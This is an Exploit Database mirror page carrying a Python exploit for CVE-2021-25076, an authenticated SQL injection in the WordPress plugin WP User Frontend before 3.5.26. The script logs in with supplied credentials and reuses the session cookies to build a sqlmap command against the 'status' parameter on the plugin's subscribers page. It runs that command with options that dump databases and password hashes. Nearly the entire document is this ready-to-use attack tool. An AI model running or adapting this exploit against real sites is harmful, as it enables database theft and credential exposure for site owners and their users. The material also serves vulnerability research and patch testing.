WordPress Plugin WP User Frontend 3.5.25 – SQLi (Authenticated)

• Exploit Database
• 16 阅读

• 作者： Ron Jost
  日期： 2022-02-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50772/

• # Exploit Title: WordPress Plugin WP User Frontend 3.5.25 - SQLi (Authenticated)
  # Date 20.02.2022
  # Exploit Author: Ron Jost (Hacker5preme)
  # Vendor Homepage: https://wedevs.com/
  # Software Link: https://downloads.wordpress.org/plugin/wp-user-frontend.3.5.25.zip
  # Version: < 3.5.25
  # Tested on: Ubuntu 20.04
  # CVE: CVE-2021-25076
  # CWE: CWE-89
  # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-25076/README.md
  
  '''
  Description:
  The WP User Frontend WordPress plugin before 3.5.26 does not validate and escape the status parameter
  before using it in a SQL statement in the Subscribers dashboard, leading to an SQL injection.
  Due to the lack of sanitisation and escaping, this could also lead to Reflected Cross-Site Scripting
  '''
  
  banner = '''
  
   _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
  _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
  _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
  _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
  _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
  
  										[+] WP User Frontend - SQL Injection
  										[@] Developed by Ron Jost (Hacker5preme)
  '''
  print(banner)
  
  import argparse
  from datetime import datetime
  import os
  import requests
  import json
  
  # User-Input:
  my_parser = argparse.ArgumentParser(description= 'WP User Frontend - SQL-Injection (Authenticated)')
  my_parser.add_argument('-T', '--IP', type=str)
  my_parser.add_argument('-P', '--PORT', type=str)
  my_parser.add_argument('-U', '--PATH', type=str)
  my_parser.add_argument('-u', '--USERNAME', type=str)
  my_parser.add_argument('-p', '--PASSWORD', type=str)
  args = my_parser.parse_args()
  target_ip = args.IP
  target_port = args.PORT
  wp_path = args.PATH
  username = args.USERNAME
  password = args.PASSWORD
  
  
  
  print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
  
  # Authentication:
  session = requests.Session()
  auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
  check = session.get(auth_url)
  # Header:
  header = {
  'Host': target_ip,
  'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
  'Accept-Encoding': 'gzip, deflate',
  'Content-Type': 'application/x-www-form-urlencoded',
  'Origin': 'http://' + target_ip,
  'Connection': 'close',
  'Upgrade-Insecure-Requests': '1'
  }
  
  # Body:
  body = {
  'log': username,
  'pwd': password,
  'wp-submit': 'Log In',
  'testcookie': '1'
  }
  auth = session.post(auth_url, headers=header, data=body)
  
  # SQL-Injection (Exploit):
  # Generate payload for sqlmap
  cookies_session = session.cookies.get_dict()
  cookie = json.dumps(cookies_session)
  cookie = cookie.replace('"}','')
  cookie = cookie.replace('{"', '')
  cookie = cookie.replace('"', '')
  cookie = cookie.replace(" ", '')
  cookie = cookie.replace(":", '=')
  cookie = cookie.replace(',', '; ')
  print('[*] Payload for SQL-Injection:')
  exploitcode_url = r'sqlmap -u "http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin.php?page=wpuf_subscribers&post_ID=1&status=1" '
  exploitcode_risk = '--level 2 --risk 2 '
  exploitcode_cookie = '--cookie="' + cookie + '" '
  print('Sqlmap options:')
  print(' -a, --all Retrieve everything')
  print(' -b, --bannerRetrieve DBMS banner')
  print(' --current-userRetrieve DBMS current user')
  print(' --current-dbRetrieve DBMS current database')
  print(' --passwords Enumerate DBMS users password hashes')
  print(' --tablesEnumerate DBMS database tables')
  print(' --columns Enumerate DBMS database table column')
  print(' --schemaEnumerate DBMS schema')
  print(' --dumpDump DBMS database table entries')
  print(' --dump-allDump all DBMS databases tables entries')
  retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')
  exploitcode = exploitcode_url + exploitcode_risk + exploitcode_cookie + retrieve_mode + ' -p status -v 0 --answers="follow=Y" --batch'
  os.system(exploitcode)
  print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))